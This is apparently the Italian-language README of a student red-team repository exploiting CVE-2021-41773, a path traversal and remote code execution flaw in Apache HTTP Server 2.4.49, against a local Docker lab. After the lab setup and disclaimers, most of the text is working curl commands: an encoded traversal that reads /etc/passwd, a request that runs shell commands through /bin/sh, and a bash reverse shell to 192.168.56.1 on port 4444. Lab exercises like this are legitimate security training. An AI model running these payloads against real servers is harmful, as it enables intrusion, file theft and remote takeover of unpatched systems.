
Apache 2.4.49 Path Traversal RCE
Dipartimento Cybersecurity ITSOLERA — Red Team Task #3
Team: Offensive Team Zeta
Data: 18 marzo 2026
Questo repository è solo a scopo educativo.
Tutti i test sono stati eseguiti in un laboratorio Docker locale isolato.
Non utilizzare mai contro sistemi live, in produzione o di terze parti.
| Campo | Dettaglio |
|---|
| CVE ID | CVE-2021-41773 |
| CVSS | 9.8 CRITICO |
| Versioni vulnerabili | Solo Apache HTTP Server 2.4.49 |
| Tipo | Path Traversal + Remote Code Execution |
| Corretto in | Apache 2.4.51 |
| File | Descrizione |
|---|---|
poc_41773.py | Script di exploit PoC in Python con banner Team Zeta |
docker-compose.yml | Configurazione dell'ambiente di laboratorio vulnerabile |
offensive_zeta_shell.txt | Log della sessione live — prova dello sfruttamento |
screenshots/ | Screenshot delle evidenze |
Offensive_Team_Zeta_FINAL_Report.pdf | Report completo dello sfruttamento |
# Pull the vulnerable image
sudo docker pull blueteamsteve/cve-2021-41773:with-cgid
# Start the lab
docker-compose up -d
# Verify Apache 2.4.49 is running
curl -I http://localhost:8080/
# Must show: Server: Apache/2.4.49
# File read via path traversal
curl --path-as-is \
'http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd'
# Remote code execution
curl --path-as-is \
-d 'echo Content-Type: text/plain; echo; id' \
'http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'
# Reverse shell (replace IP with your machine IP)
curl --path-as-is \
-d "echo Content-Type: text/plain; echo; bash -c 'bash -i >& /dev/tcp/192.168.56.1/4444 0>&1'" \
"http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"